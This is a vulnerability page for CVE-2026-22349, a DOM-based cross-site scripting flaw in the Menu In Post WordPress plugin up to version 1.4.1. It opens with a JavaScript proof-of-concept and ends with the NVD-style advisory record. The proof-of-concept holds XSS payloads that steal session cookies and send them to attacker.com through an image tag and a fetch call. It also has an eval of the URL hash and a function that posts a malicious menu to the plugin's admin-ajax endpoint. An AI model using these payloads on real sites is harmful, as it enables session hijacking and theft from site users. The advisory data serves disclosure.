CVE-2026-22349

// CVE-2026-22349 DOM-Based XSS PoC // Target: Menu In Post WordPress Plugin <= 1.4.1 // Malicious URL that triggers the XSS const maliciousURL = 'https://vulnerable-site.com/?menu_id=<script>alert(document.cookie)</script>'; // More sophisticated payload for session hijacking const sessionHijackPayload = ` <script> // Steal session cookies document.write('<img src="https://attacker.com/log?cookie=' + document.cookie + '"/>'); // Or use fetch API for data exfiltration fetch('https://attacker.com/steal?data=' + btoa(document.cookie)) .then(response => response.json()) .then(data => console.log(data)); </script> `; // DOM-based XSS payload using location.hash const domBasedPayload = ` <script> // Read data from URL hash and execute eval(location.hash.substring(1)); </script> `; // Example attack scenario function exploitMenuInPost() { // Create malicious menu element const maliciousMenu = { id: 'xss-trigger', content: '<img src=x onerror="alert(String.fromCharCode(88,83,83))">' }; // Inject via plugin's vulnerable endpoint fetch('/wp-admin/admin-ajax.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', }, body: 'action=menu_in_post_save&menu_data=' + encodeURIComponent(JSON.stringify(maliciousMenu)) }); }

{"cve": {"id": "CVE-2026-22349", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:31.490", "lastModified": "2026-04-28T19:36:30.600", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in linux4me2 Menu In Post menu-in-post allows DOM-Based XSS.This issue affects Menu In Post: from n/a through <= 1.4.1."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') en linux4me2 Menu In Post menu-in-post permite XSS basado en DOM. Este problema afecta a Menu In Post: desde n/a hasta &lt;= 1.4.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/menu-in-post/vulnerability/wordpress-menu-in-post-plugin-1-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}